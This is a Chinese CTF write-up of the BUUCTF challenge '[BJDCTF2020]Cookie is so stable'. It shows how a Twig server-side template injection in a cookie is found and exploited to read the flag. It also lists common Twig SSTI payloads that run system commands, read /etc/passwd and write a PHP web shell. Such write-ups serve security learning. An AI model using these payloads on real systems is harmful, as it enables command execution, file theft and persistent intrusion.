[BJDCTF2020]Cookie is so stable-1|SSTI注入
- 2022 年 7 月 30 日
- 筆記
- BUUCTF刷題記錄, ssi注入
1、打開之後在各個介面查看源程式碼,未發現很明顯的有用資訊,僅發現了提示,結果如下:
2、嘗試輸入數據,結果就是輸入什麼就回顯什麼,也未進行過濾,嘗試進行sql注入失敗,結果如下:
3、那就根據提示抓包查看下cookie資訊,結果如下:
4、sql注入失敗,這裡想到了ssti注入,那就進行ssti注入測試,payload:{{2*2}},結果如下:
5、確定了ssti注入之後,該如何選擇ssti注入方式呢,觀察抓取的數據包中存在關於服務端的關鍵資訊,結果如下:
6、確定服務端的語言之後,範圍就很小了,補充下各種語言發生ssti注入的模板,如下:
python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp
7、確定此處產生ssti注入的模板可以為smarty、twig等,那就一個一個嘗試,這裡就直接使用twig模板的注入方式進行注入了,payload:{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}},結果如下:
twig常用的注入payload:
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}
這裡附上另外一道ssti注入題的解析方式://www.cnblogs.com/upfine/p/16500169.html
ssti注入模板參考文章://t.zoukankan.com/bmjoker-p-13508538.html